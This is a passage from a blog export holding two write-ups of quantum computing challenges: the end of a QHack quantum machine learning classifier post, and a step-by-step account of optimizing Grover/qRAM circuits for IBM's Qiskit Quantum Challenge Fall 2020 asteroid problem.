loss = loss / len(labels) return loss def accuracy(labels, predictions): loss = 0 for l, p in zip(labels, predictions): if abs(l - p) &lt; 1e-3: loss = loss + 1 loss = loss / len(labels) return loss def correct_labels(predictions): correct_label = [] for p in predictions: if p &lt; -0.3: correct_label.append(-1) elif p &gt; 0.3: correct_label.append(1) else: correct_label.append(0) return correct_label def cost(weights, features, labels): predictions = [variational_classifier(weights, f) for f in features] return square_loss(labels, predictions) The main thing to note is the correct_labels function. This is an important portion that required tweaking for the model to work. In hindsight one can see from the normalized graph above how a prediction value hinging at +/- 0.3 would cleanly delineate our three categories. With the original data, there is a slight cross over that would end up polluting our predictions, and with the attempted feature map it would address one category while not working well for the other two. With all the components ready we can create the training loop and see if we are able to hit our tolerances. np.random.seed(1337) num_data = 250 num_train = 50 index = np.random.permutation(range(num_data)) feats_train = X_norm feats_val = X_data_norm #Hardcode \"1.ans\" for training comparison Y_val = [1,0,-1,0,-1,1,-1,-1,0,-1,1,-1,0,1,0,-1,-1,0,0,1,1,0,-1,0,0,-1,0,-1,0,0,1,1,-1,-1,-1,0,-1,0,1,0,-1,1,1,0,-1,-1,-1,-1,0,0] num_qubits = 2 num_layers = 6 var_init = (0.01 * np.random.randn(num_layers, num_qubits, 3), 0.0) opt = NesterovMomentumOptimizer(0.1) batch_size = 5 var = var_init for it in range(50): # Update the weights by one optimizer step batch_index = np.random.randint(0, num_train, (batch_size,)) feats_train_batch = feats_train[batch_index] Y_train_batch = Y_train[batch_index] var = opt.step(lambda v: cost(v, feats_train_batch, Y_train_batch), var) # Compute predictions on train and validation set predictions_train_bad = [variational_classifier(var, f) for f in feats_train] predictions_train = correct_labels(predictions_train_bad) #predictions_val = [variational_classifier(var, f) for f in feats_val] predictions_val_bad = [variational_classifier(var, f) for f in feats_val] predictions_val = correct_labels(predictions_val_bad) # Compute accuracy on train and validation set acc_train = accuracy(Y_train, predictions_train) acc_val = accuracy(Y_val, predictions_val) print( \"Iter: {:5d} | Cost: {:0.7f} | Acc train: {:0.7f} | Acc validation: {:0.7f} \" \"\".format(it + 1, cost(var, X_norm, Y), acc_train, acc_val) ) predictions_val_bad = [variational_classifier(var, f) for f in feats_val] predictions = correct_labels(predictions_val_bad) # QHACK # return array_to_concatenated_string(predictions) You'll notice I included a print statement within the loop. This was used during the testing period to help adjust where required and ultimately commented out for the submission. Additionally I did play around with a few different optimizers, however there was no deeper analysis done between the different types and ultimately the NesterovMomentumOptimizer approach is what I stayed with in the end. While in reality there were many back and forths between execution and tweaking, let's pretend we don't know the outcome yet and see how the loop responds. Well that seems within our tolerance of 96% alright! The last part was to ensure the processing is completed with 60 seconds, and clean up the output to only spit out the prediction list. I arbitrarily chose 8 iterations since iterations 7,8,9 all returned 100% accuracy and figure why not aim for the middle of that pile since the processing time to that point was well within 60 seconds. A few comments later I reran the script and compared it against output. That is looking good! The final step was to upload the code and hope that it behaves similarly with the hidden test data. Thankfully within a few minutes of submitting I was greeted with a welcomed message. And thus the chapter ended for the training circuit track. Conclusion &amp; Recap With the rest of my team we were able to claim a few more victories early and enjoy that sweet time bonus score. By the end of the competition, sleep deprived and over caffeinated, we were happy that our efforts were fruitful and be included in the top teams. I learned so much as a result of this event. Having previously no exposure to QML, let alone ML in general, I was happy that the initial challenges in this track where a little bit more on rails and about getting to know the code and the ecosystem. Similarly, I'm happy that the last challenge was more demanding in having to define and figure out a lot of the details yourself. While I don't consider myself an expert by ANY measure in the space, I feel I can follow along with academic papers and other industry documentation and at least not be completely lost with what is happening. That alone is more than I can say from three weeks ago when I started looking at the Pennylane material and jumping down the rabbit hole. To close up, I thank Xanadu and AWS for hosting the set of challenges. These events are always enjoyable to attend and not only did they do a good job handling the imminent issues the come with hosting these events, I felt I came out of it having learned something, and that is ultimately how I measure the success of an event. For anyone who is interested I put up my challenge material on my Github Repo. Thanks folks, until next time!" }, { "title": "Qiskit Quantum Challenge Fall 2020", "url": "/quantum-computing/2020/12/10/ibm-quantum-challenge-fall2020/", "categories": "quantum-computing", "tags": "qiskit, quantum-computing, quantum challenge, grover, qram", "date": "2020-12-10 07:02:00 -0500", "content": "Introduction For the final week of IBM's Quantum Challenge Fall 2020 we had to put the Grover and qRAM experience we had gained in the first two weeks to the test. Using the knowledge we had developed we were provided with a new \"Asteroid Clearing\" problem which ended up being similar to the classical n-queens problem. Apart from solving the problem solely using Quantum Circuits, a veritable feat in itself, the competitive nature of this challenge was in continuously optimizing the cost of your circuit to the lowest possible configuration while still ensuring the circuit solves the full problem space. This post will cover a few different aspects. Initially it will cover my theoretical solution and corresponding circuit. Afterwards I will cover each improvement iteration, what I targetted and implemented in the improvement, and the subsequent lowered score. The final improvement section will also cover qSphere diagram flows to help elaborate on the theory leveraged. This walkthrough is less about using Grover's in any specifically special manner, in fact I have some questions and doubts about the final implementation based on empirical evidence gathered through this challenge that I will highlight in the final section. The focus is really the journey from an initial solution, then how without structurally changing the overall flow repeating iterations until I reached a circuit complexity of only 10% the original solution. All while still solving the same original problem space. The Qiskit team's challenge notebook can be found on their Github Page. Without further delay, let's jump into the challenge! Challenge Problem Statement The problem statement started with our favourite Dr. Ryoko stuck in the multiverse with a quick description of what would end up being the challenge we need to solve. We were provided an example that illustrates the problem space in terms of asteroids on a 4x4 board. Subsequently we were also provided an example of how a board could be solvable with three laser beam shots. Once the mechanics of the problem understood we are given the full problem statement and a set of rules that must be adhered to for our solutions to be valid. Ultimately the problem boiled down to being given 16 different 4x4 boards where we use Grover's algorithm to determine the single board that is not solvable (clearable) in three laser beam shots. With the initial background information understood, let's start to solve the problem! Theoretical Solution Before writing a single line of code I spent time making sure I conceptually knew how to solve the problem. The first 36 hours of the final week was spent breaking down the various boards and attempting to find clever ways of determining the solution. Starting the overall qRAM structure from the previous week. The initial thought was to approach the challenge similarly to the second week's lightsout problem - map the boards to the qram addresses, flesh out the 16 qubits representing the board, and codify the mechanics of a laser beam. There were two inherent problems with this approach. Firstly the limitation on qubits we could leverage was 28. If we were to proceed with this approach we would need 16 for the board representation, 8 for the different laser beam shots (4 vertical, 4 horizontal), 4 for the qram addresses, and finally 1 for the oracle to help amplify winner states. This brings us up to 29 qubits, outside of our limitation. The second limitation in this approach is in the mechanics itself. In the second week's lightsout problem a button push was itself a reversible action. When a button was pushed, any adjoining lights that were on would be turned off and vice-versa. In this final asteroid problem the mechanics were of the nature of \"if on, turn off, and stay off\", representing destroying the asteroid. Unfortunately trying to leverage something like CNOT gates as we did previously does not work in this context and ultimately the approach would result in a non-reversible mechanic. After spending some time trying to understand the nature of the problem and what differentiates a solvable and unsolvable board it started making sense when thought of using Linear Algebra. Conceptually a 4x4 board is not solvable in three or less laser beam shots if it has 4 asteroids on distinct rows and columns to each other. Another way of thinking of this is that the 4 asteroids must create a Matrix Rank of 4. Alternatively you can also think of it as these asteroids creating a board having a Determinant not equal to zero, or that it resembles an Identity Matrix. In the context of our problem space as long as there were 4 asteroids that resembled the following, we knew that regardless of the additional two asteroids the board is not solvable in three laser beam shots. Now that we have a direction we need to figure out how to leverage it. As stated in the rules we are not allowed to preprocess any of the input. We must take the board date and put it into the circuit before any processing is done. This makes it slightly more complicated since we could in theory use classical algorithms to calculate the Determinant. Unfortunately since we do not have the concept of multiplication in Quantum Computing we would need to define our own counters and functions. While not impossible, in fact we worked with adders and counters over the last two weeks, the overall complexity seemed rather high for our problem space. In hindsight since we were essentially working with only 1s and 0s this could have been achieved using a simplified classical function, however I decided to approach it from a different direction. Two distinct eurka moments led to the first implementation in code. First, we do not \"care\" where the beams are firing. As long as a board fits a particular configuration we know by the nature of the board itself it is not solvable in three, regardless of where the beams are fired. The second relevation happened while iterating through the various configurations that a 4x4 matrix can have to resemble an Identity Matrix. I quickly realized there were only 24 different combinations, much less that I initially thought there would be. With only 24 permutations this puts us in a good position to leverage Qiskit's Grover Sudoku clause approach where each clause is one of the 24 permutations of a 4x4 Identity Matrix defining that the board has a rank 4 and non-zero determinant. An example clause for the board above would be [0,5,10,15] which also represents the Identity matrix itself. Time to start coding! 119k - Initial Solution The theory was essentially broken down into the four parts of the qRAM diagram above. qRAM the 16 board addresses (0000...1111) in a similar manner we did in the given examples Run through the various clauses - flipping the oracle if a board matches a configuration Uncompute the qRAM address Diffuse the board address, amplifying the non-solvable address For brevity sake I will try and not include the full code dump and focus on the appropriate snipped sections. My final notebook is available at my Github repo for those interested. qRAM We were given the defined problem_set of boards. problem_set = \\ [[['0', '2'], ['1', '0'], ['1', '2'], ['1', '3'], ['2', '0'], ['3', '3']], [['0', '0'], ['0', '1'], ['1', '2'], ['2', '2'], ['3', '0'], ['3', '3']], [['0', '0'], ['1', '1'], ['1', '3'], ['2', '0'], ['3', '2'], ['3', '3']], [['0', '0'], ['0', '1'], ['1', '1'], ['1', '3'], ['3', '2'], ['3', '3']], [['0', '2'], ['1', '0'], ['1', '3'], ['2', '0'], ['3', '2'], ['3', '3']], [['1', '1'], ['1', '2'], ['2', '0'], ['2', '1'], ['3', '1'], ['3', '3']], [['0', '2'], ['0', '3'], ['1', '2'], ['2', '0'], ['2', '1'], ['3', '3']], [['0', '0'], ['0', '3'], ['1', '2'], ['2', '2'], ['2', '3'], ['3', '0']], [['0', '3'], ['1', '1'], ['1', '2'], ['2', '0'], ['2', '1'], ['3', '3']], [['0', '0'], ['0', '1'], ['1', '3'], ['2', '1'], ['2', '3'], ['3', '0']], [['0', '1'], ['0', '3'], ['1', '2'], ['1', '3'], ['2', '0'], ['3', '2']], [['0', '0'], ['1', '3'], ['2', '0'], ['2', '1'], ['2', '3'], ['3', '1']], [['0', '1'], ['0', '2'], ['1', '0'], ['1', '2'], ['2', '2'], ['2', '3']], [['0', '3'], ['1', '0'], ['1', '3'], ['2', '1'], ['2', '2'], ['3', '0']], [['0', '2'], ['0', '3'], ['1', '2'], ['2', '3'], ['3', '0'], ['3', '1']], [['0', '1'], ['1', '0'], ['1', '2'], ['2', '2'], ['3', '0'], ['3', '1']]] At which point we can reference and load the appropriate board if the address matches. def week3_ans_func(problem_set): ##### build your quantum circuit here ##### In addition, please make it a function that can solve the problem even with different inputs (problem_set). We do validation with different inputs. address = QuantumRegister(4, name='address') aux = QuantumRegister(4, name='aux') oracle = QuantumRegister(1, name='oracle') oracle2 = QuantumRegister(1, name='oracle2') tile_qubits = QuantumRegister(16, name='tile') address_cbit = ClassicalRegister(4,name='address-c') #classical2 = ClassicalRegister(16,name='tile-c') qc = QuantumCircuit(address,tile_qubits,aux,oracle,oracle2,address_cbit) ##init qubits qc.h(address) ############################# ##### QRAM Init ############################# # address 0 - 0000 qc.x([address[0],address[1],address[2],address[3]]) for asteroid in problem_set[0]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) qc.mct(address,tile_qubits[num]) qc.x([address[0],address[1],address[2],address[3]]) # address 1 - 0001 qc.x([address[0],address[1],address[2]]) for asteroid in problem_set[1]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) qc.mct(address,tile_qubits[num]) qc.x([address[0],address[1],address[2]]) # address 2 - 0010 qc.x([address[0],address[1],address[3]]) for asteroid in problem_set[2]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) qc.mct(address,tile_qubits[num]) qc.x([address[0],address[1],address[3]]) # address 3 - 0011 qc.x([address[0],address[1]]) for asteroid in problem_set[3]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) qc.mct(address,tile_qubits[num]) qc.x([address[0],address[1]]) # address 4 - 0100 ... &lt;snip&gt;... Continuing down for all 16 addresses. This qRAM section is also used for the qRAM uncompute portion of the flow. Grover Oracle Once we had the board loaded we iterate through the 24 clauses and flip the oracle if set. for i in range(1): ################################ ##### START of - Grover ################################ ## Iterate through clause list of potentials - Crude version for determining rank4 matrix ################ 0's #0,5,10,15 qc.mct([tile_qubits[0],tile_qubits[5],tile_qubits[10],tile_qubits[15]],aux[0]) qc.cx(aux[0],oracle) qc.ccx(aux[0],oracle,oracle2) qc.mct([tile_qubits[0],tile_qubits[5],tile_qubits[10],tile_qubits[15]],aux[0]) #0,5,11,14 qc.mct([tile_qubits[0],tile_qubits[5],tile_qubits[11],tile_qubits[14]],aux[0]) qc.cx(aux[0],oracle) qc.ccx(aux[0],oracle,oracle2) qc.mct([tile_qubits[0],tile_qubits[5],tile_qubits[11],tile_qubits[14]],aux[0]) #0,6,9,15 qc.mct([tile_qubits[0],tile_qubits[6],tile_qubits[9],tile_qubits[15]],aux[0]) qc.cx(aux[0],oracle) qc.ccx(aux[0],oracle,oracle2) qc.mct([tile_qubits[0],tile_qubits[6],tile_qubits[9],tile_qubits[15]],aux[0]) #0,6,11,13 qc.mct([tile_qubits[0],tile_qubits[6],tile_qubits[11],tile_qubits[13]],aux[0]) qc.cx(aux[0],oracle) qc.ccx(aux[0],oracle,oracle2) qc.mct([tile_qubits[0],tile_qubits[6],tile_qubits[11],tile_qubits[13]],aux[0]) ...&lt;snip&gt;... Of note here is the double oracles. Since a clause is 4 asteroids and there are 6 asteroids on the board we need to take into consideration a board where two clauses are satisfied by the 6 asteroids. Example below where the board satisfies both [0,5,10,15] as well as [1,4,10,15]. If we were to just flip the oracle when a clause is met, any board that satisfies two clauses would ultimately turn off the oracle. Since we know that at most two clauses can be satisfied by a single, 6-asteroid board, we only need to consider a double oracle situation, and not &gt;2 potential clause satisfying boards. Diffusion Standard qRAM address diffusion we leveraged in the previous week's examples. qc.h(address) qc.x(address) qc.h(address[-1]) qc.mct(address[:-1], address[-1]) qc.h(address[-1]) qc.x(address) qc.h(address) Submission With the code setup I submitted the job and put on another pot of coffee while it processed. After about ~20 minutes I was happy to report that it successfully worked! This is just the start however, as now the improvement iterations can start! 53k - Ancillary Qubits The first improvement iteration was conceptually simple. Originally we executed straight MCTs on the address/oracle portions. Let's add some ancillary qubits help bring that cost down since we have a few to work with within the 28 qubit limitation. # address 0 - 0000 qc.x([address[0],address[1],address[2],address[3]]) for asteroid in problem_set[0]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) qc.mct(address,tile_qubits[num], anc, mode=\"basic\") qc.x([address[0],address[1],address[2],address[3]]) ## Iterate through clause list of potentials - Crude version for determining rank4 matrix ################ 0's #0,5,10,15 qc.mct([tile_qubits[0],tile_qubits[5],tile_qubits[10],tile_qubits[15]],aux[0], anc, mode=\"basic\") qc.cx(aux[0],oracle) qc.ccx(aux[0],oracle,oracle2) qc.mct([tile_qubits[0],tile_qubits[5],tile_qubits[10],tile_qubits[15]],aux[0], anc, mode=\"basic\") At this point I also want to introduce a nifty little code snippet. With a second notebook open I was able to leverage the below to do cost evaluations of the circuit without executing the full ~20 min runs. This helped immensely when I wasn't sure if the approach was worth persuing or not. from qiskit.transpiler.passes import Unroller from qiskit.transpiler import PassManager pass_ = Unroller(['u3', 'cx']) pm = PassManager(pass_) new_circuit = pm.run(qc) odict = new_circuit.count_ops() print('u3:'+str(odict['u3'])+' ''cx:'+str(odict['cx'])+' '+'total:'+str(odict['u3']+10*odict['cx'])) With this we can throw portions of circuit into this notebook an breakdown the cost of each. With our introduced ancillary qubits we get to a total complexity cost of 53k. Already less than half of the original solution. u3:8307 cx:4502 total:53327 Qram - 20512 Oracle - 12144 Qram - 20512 Diffuse - 159 22k - MCMT/Gray Code This particular iteration is my favourite mostly of how it came to me. During the middle of the week I was going over the qRAM and oracle portions trying to identify where I could simplify the execution. During a morning shower I came to a sudden realization that for the qRAM portions I am running an MCT gate for EACH of the six asteroids. If we know the address is valid, we should be able to find a way cut down to a simpler comparison. I quickly mocked up the pseudocode on the shower door and made sure my logic made sense. I was then able to implement the code improvement later in the day. # address 0 - 0000 qc.x([address[0],address[1],address[2],address[3]]) qc.mct(address,aux[0], anc, mode=\"basic\") for asteroid in problem_set[0]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) qc.cx(aux[0],tile_qubits[num]) qc.mct(address,aux[0], anc, mode=\"basic\") # address 1 - 0001 qc.x(address[3]) qc.mct(address,aux[0], anc, mode=\"basic\") for asteroid in problem_set[1]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) qc.cx(aux[0],tile_qubits[num]) qc.mct(address,aux[0], anc, mode=\"basic\") By pulling out MCT gates from within the loop and using an additional aux qubit to determine when the address is triggered we can replace 6 MCT gates with 2 MCT and 6 CX gates. The observant reader will also notice I changed the qRAM address method as well. Instead of running X gates before and after to reset we are able to leverage Gray Code ordering to reduce a very small amount of gates for the qRAM address iteration. Sadly, despite the eureka shower moment and finding a manual approach to reducing I soon found the MCMT (Multi-Control Multi-Target) gate. Using MCMTs ever so slightly increased efficiency, by a total of 12 cost per qRAM address, depite resulting in much uglier code. # address 0 - 0000 qc.x([address[0],address[1],address[2],address[3]]) qc.mcmt(qc.cx,address,[tile_qubits[int(problem_set[0][0][0])*4+int(problem_set[0][0][1])],tile_qubits[int(problem_set[0][1][0])*4+int(problem_set[0][1][1])],tile_qubits[int(problem_set[0][2][0])*4+int(problem_set[0][2][1])],tile_qubits[int(problem_set[0][3][0])*4+int(problem_set[0][3][1])],tile_qubits[int(problem_set[0][4][0])*4+int(problem_set[0][4][1])],tile_qubits[int(problem_set[0][5][0])*4+int(problem_set[0][5][1])]],anc,mode='basic') # address 1 - 0001 qc.x(address[3]) qc.mcmt(qc.cx,address,[tile_qubits[int(problem_set[1][0][0])*4+int(problem_set[1][0][1])],tile_qubits[int(problem_set[1][1][0])*4+int(problem_set[1][1][1])],tile_qubits[int(problem_set[1][2][0])*4+int(problem_set[1][2][1])],tile_qubits[int(problem_set[1][3][0])*4+int(problem_set[1][3][1])],tile_qubits[int(problem_set[1][4][0])*4+int(problem_set[1][4][1])],tile_qubits[int(problem_set[1][5][0])*4+int(problem_set[1][5][1])]],anc,mode='basic') At the end of this iteration I was able to further reduce the complexity cost from 192 MCT gates, to 64 MCT + 192 CX, to 32 MCMT gates, and ultimately got the cost down to 22k. 51k - MCT Decomposition This iteration made the writeup not because it was more efficient. In fact it was worst than all but the original solution. It made this writeup however because of how it was implemented. While searching through various papers for academically inspired decompositions I ran into Linear-Depth Quantum Circuits for n-qubit Toffoli gates with no Ancilla. The interesting aspect of this paper was that it decomposed an MCT gate without ancillary qubits achieving a linear speed up to regular MCT gates. The approached was summarized in the following graph. Feeling inspired I strived to implement it in my circuit and see how it fared in complexity cost. qc.x([address[0],address[1],address[2],address[3]]) for asteroid in problem_set[0]: num = int(asteroid[0]) * 4 num += int(asteroid[1]) #qc.mct(address,tile_qubits[num], anc, mode=\"basic\") qc.rxx(math.pi/2,address[0],address[1]) qc.rxx(math.pi/4,address[0],address[2]) qc.rxx(math.pi/8,address[0],address[3]) qc.rxx(math.pi/8,address[0],tile_qubits[num]) qc.rxx(math.pi/2,address[1],address[2]) qc.rxx(math.pi/4,address[1],address[3]) qc.rxx(math.pi/4,address[1],tile_qubits[num]) qc.rxx(math.pi/2,address[2],address[3]) qc.rxx(math.pi/2,address[2],tile_qubits[num]) qc.rxx(math.pi,address[3],tile_qubits[num]) qc.rxx(-math.pi/2,address[2],address[3]) qc.rxx(-math.pi/4,address[1],address[3]) qc.rxx(-math.pi/2,address[1],address[2]) qc.rxx(-math.pi/8,address[0],address[3]) qc.rxx(-math.pi/4,address[0],address[2]) qc.rxx(-math.pi/2,address[0],address[1]) qc.rxx(math.pi/2,address[1],address[2]) qc.rxx(math.pi/4,address[1],address[3]) qc.rxx(-math.pi/4,address[1],tile_qubits[num]) qc.rxx(math.pi/2,address[2],address[3]) qc.rxx(-math.pi/2,address[2],tile_qubits[num]) qc.rxx(-math.pi,address[3],tile_qubits[num]) qc.rxx(-math.pi/2,address[2],address[3]) qc.rxx(-math.pi/4,address[1],address[3]) qc.rxx(math.pi/2,address[1],address[2]) I was able to get a result, however it was clearly not as efficient as what we had already achieved. Interesting nonetheless as it was the first time I used a pure academic paper and tried to implement it. 20k - RCCX Oracle This next iteration leveraged the hints that the Qiskit team provided in week two - gate synthesis or equivalence transformation techniques. Specifically leveraging the RCCX gate example. Since we were performing uncomputes throughout the circuit we should be able to break down MCT gates to their CCX/CX equivalents and then replace CCX with RCCX gates to save on cost. One additional improvement I realized at this point was related to the clause combination. Since the first two qubits of each clause pair ([0,5,10,15] and [0,5,11,14] as examples) are the same, we should be able to reduce the amount of overall comparisons done if we change only the 3rd and 4th qubits between pairs. #0,5,10,15 #0,5,11,14 qc.rccx(tile_qubits[0],tile_qubits[5],aux[0]) qc.rccx(tile_qubits[10],tile_qubits[15],aux[1]) qc.swap(oracle,oracle2) qc.rccx(aux[0],aux[1],oracle) #checking for 0,5,10,15 qc.swap(oracle,oracle2) qc.rccx(tile_qubits[10],tile_qubits[15],aux[1]) qc.rccx(tile_qubits[11],tile_qubits[14],aux[1]) qc.swap(oracle,oracle2) qc.rccx(aux[0],aux[1],oracle) #checking for 0,5,11,14 qc.swap(oracle,oracle2) qc.rccx(tile_qubits[11],tile_qubits[14],aux[1]) qc.rccx(tile_qubits[0],tile_qubits[5],aux[0]) QRAM - u3:886 cx:672 total:7606 Oracle - u3:576 cx:432 total:4896 QRAM - u3:890 cx:672 total:7606 Diffuse - u3:39 cx:12 total:159 13k - RCCX qRAM This particular iteration was taking the same methodology from the 20k variant and applying RCCX gates to the qRAM portions. I had to go back from the MCMT variants to MCT gates and break down the MCT to CCX/CX as above before transforming to RCCX gates. qc.x([address[0],address[1],address[2],address[3]]) #qc.mcmt(qc.cx,address,[tile_qubits[int(problem_set[0][0][0])*4+int(problem_set[0][0][1])],tile_qubits[int(problem_set[0][1][0])*4+int(problem_set[0][1][1])],tile_qubits[int(problem_set[0][2][0])*4+int(problem_set[0][2][1])],tile_qubits[int(problem_set[0][3][0])*4+int(problem_set[0][3][1])],tile_qubits[int(problem_set[0][4][0])*4+int(problem_set[0][4][1])],tile_qubits[int(problem_set[0][5][0])*4+int(problem_set[0][5][1])]],aux,mode='basic') qc.rccx(address[0],address[1],aux[0]) qc.rccx(address[2],address[3],aux[1]) qc.rccx(aux[0],aux[1],aux[3]) qc.cx(aux[3],tile_qubits[int(problem_set[0][0][0])*4+int(problem_set[0][0][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[0][1][0])*4+int(problem_set[0][1][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[0][2][0])*4+int(problem_set[0][2][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[0][3][0])*4+int(problem_set[0][3][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[0][4][0])*4+int(problem_set[0][4][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[0][5][0])*4+int(problem_set[0][5][1])]) qc.rccx(aux[0],aux[1],aux[3]) qc.rccx(address[2],address[3],aux[1]) qc.rccx(address[0],address[1],aux[0]) # address 1 - 0001 qc.x(address[3]) #qc.mcmt(qc.cx,address,[tile_qubits[int(problem_set[1][0][0])*4+int(problem_set[1][0][1])],tile_qubits[int(problem_set[1][1][0])*4+int(problem_set[1][1][1])],tile_qubits[int(problem_set[1][2][0])*4+int(problem_set[1][2][1])],tile_qubits[int(problem_set[1][3][0])*4+int(problem_set[1][3][1])],tile_qubits[int(problem_set[1][4][0])*4+int(problem_set[1][4][1])],tile_qubits[int(problem_set[1][5][0])*4+int(problem_set[1][5][1])]],aux,mode='basic') qc.rccx(address[0],address[1],aux[0]) qc.rccx(address[2],address[3],aux[1]) qc.rccx(aux[0],aux[1],aux[3]) qc.cx(aux[3],tile_qubits[int(problem_set[1][0][0])*4+int(problem_set[1][0][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[1][1][0])*4+int(problem_set[1][1][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[1][2][0])*4+int(problem_set[1][2][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[1][3][0])*4+int(problem_set[1][3][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[1][4][0])*4+int(problem_set[1][4][1])]) qc.cx(aux[3],tile_qubits[int(problem_set[1][5][0])*4+int(problem_set[1][5][1])]) qc.rccx(aux[0],aux[1],aux[3]) qc.rccx(address[2],address[3],aux[1]) qc.rccx(address[0],address[1],aux[0]) QRAM - u3:598 cx:384 total:4438 Oracle - u3:576 cx:432 total:4896 QRAM - u3:598 cx:384 total:4438 Diffuse - u3:39 cx:12 total:159 With what seemed like the regular statement throughout this entire process I told myself I did not believe the cost could be lowered further without fundamentally changing the structure of my approach. There were other solutions submitted in the 7k range at this point and I was almost certain they were approaching the problem differently. Based on the RCCX/CCX/CX decompositions I thought I had done as much as I could. I was wrong... 12k - Here Be Dragons Everything I went through prior to this section can be thought of with classical circuits and makes logical sense more or less as you step through the code in 2 dimensional terms. This last iteration jumps off the deep end by leveraging quantum phases. I can honestly say that the jump from 13k to 12k is where I learned the most out of this entire journey. As was mentioned above in the original rules of the challenge our solution could not include any runs of transpiler to simplify the circuit design. Out of interest I took my 13k circuit above and ran it through transpiler on a second notebook to see if the cost would go down. Sure enough it resulted in sub-10k complexity costs so I knew there was still work to do. Although I couldn't directly use transpiler maybe I could tactically identify smaller components of my code, investigate what transpiler is doing to it in isolation, and see if I can adapt my overall circuit using that knowledge. The first part was to understand what is happening with a RCCX gate as this will form the basis of our work. Starting at this point I also used IBM's qSphere visualization to help understand in three dimensions what was going on. There were some limitations such as restricting the visual to 5 qubits or less that required me to be crafty in reusing \"input\" qubits, but I can honestly say I would probably not have gotten to where I ended up with without the visual aid. Which translates to the following code: # rotate aux0 and use 1st and 2nd items to flip aux0 if \"on\" qc.u(pi/2,pi/4,pi,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(0,0,-pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][0]],aux[0]) qc.u(0,0,pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(pi/2,0,3*pi/4,aux[0]) Alright time to expand to a full \"single oracle\" iteration. Firstly let me mock up what I'm trying to solve. Now working with the original RCCX/CCX example I can expand it to a full single oracle. Where the code comes out to: #rotate oracle for eventual matching check qc.u(pi/2,pi/4,pi,oracle) # rotate aux0 and use 1st and 2nd items to flip aux0 if \"on\" qc.u(pi/2,pi/4,pi,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(0,0,-pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][0]],aux[0]) qc.u(0,0,pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(pi/2,0,3*pi/4,aux[0]) # rotate aux1 and use 3rd and 4th items to flip aux1 if \"on\" qc.u(pi/2,pi/4,pi,aux[1]) qc.cx(tile_qubits[det_clause[i][3]],aux[1]) qc.u(0,0,-pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][2]],aux[1]) qc.u(0,0,pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][3]],aux[1]) qc.u(pi/2,0,3*pi/4,aux[1]) #At this point can be a winning clause if items 0,1,2,3 are on #Which matches up to the first of two possibilities based on 0,1 items # i.e. first det_clause = [0,5,10,15,11,14]. # If 0,5,10,15 are 1, it's a winning clause. At this point this is where it is checked # check if both aux satisfy, then flip oracle qc.cx(aux[1],oracle) qc.u(0,0,-pi/4,oracle) qc.cx(aux[0],oracle) qc.u(0,0,pi/4,oracle) qc.cx(aux[1],oracle) So far so good! I had to tweak the rotation angles slightly as I proceeded to try and get back to an original phase. This is where the qSphere visual definitely helped keep track of where things were. The last part to take into consideration is the \"double oracle\" approach where we are using the same first two qubits of the clause. Again let me mock up what I am doing with CCX/CX gates. Before anyone calls me out I did forget to reapply the X gates to input 1/2 during the second uncompute... but it theoretically shows what I was trying to achieve. Now taking the single oracle circuit we added the second clause check in qSphere. Again with some slight angle adjustment where the visual helped. It may be easier for folks to follow the full circuit diagram below. Because of the qSpehere qubit limitations I had to omit above the oracle swap (double clause boards). I also added annotations to clarify a run through the first det_clause of [0,5,10,15,11,14]. The final oracle code ends up being: #Prep rotate oracle for eventual matching check qc.u(pi/2,pi/4,pi,oracle) # rotate aux0 and use 1st and 2nd items to flip aux0 if \"on\" qc.u(pi/2,pi/4,pi,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(0,0,-pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][0]],aux[0]) qc.u(0,0,pi/4,aux[0]) qc.cx(tile_qubits[det_clause[i][1]],aux[0]) qc.u(pi/2,0,3*pi/4,aux[0]) # rotate aux1 and use 3rd and 4th items to flip aux1 if \"on\" qc.u(pi/2,pi/4,pi,aux[1]) qc.cx(tile_qubits[det_clause[i][3]],aux[1]) qc.u(0,0,-pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][2]],aux[1]) qc.u(0,0,pi/4,aux[1]) qc.cx(tile_qubits[det_clause[i][3]],aux[1]) qc.u(pi/2,0,3*pi/4,aux[1]) #At this point can be a winning clause if items 0,1,2,3 are on #Which matches up to the first of two possibilities based on 0,1 items # i.e. first det_clause = [0,5,10,15,11,14]. # If 0,5,10,15 are 1, it's a winning clause. At this point this is where it is checked # check if both aux satisfy, then flip oracle qc.cx(aux[1],oracle) qc.u(0,0,-pi/4,oracle) qc.cx(aux[0],oracle) qc.u(0,0,pi/4,oracle) qc.cx(aux[1],oracle) #### ^ this is the final oracle flip if the first quatuplet of the clause matches #swap oracle - accounting for double winning clause # In reality should be rotating oracle before swapping # however for the purposes of this problem, just swapping DOES return proper answers # for all edge cases (double clause within the same first tuplet in det_clause) # As there is no possibility for a double clause winner where one winner is # the second quatuplet of det_clause &amp; first quatuplet of the next det_clause # because they always differ by 3 qubits, which cannot be represented by 6 asteroids. # This fact allows us to swap oracle between the quatuplet pairs only instead of start # of loop qc.u(pi/2,0,3*pi/4,oracle) qc.cx(oracle,oracle2) qc.cx(oracle2,oracle) #qc.cx(oracle,oracle2) ## is not required as we would only ever set oracle2 once at most 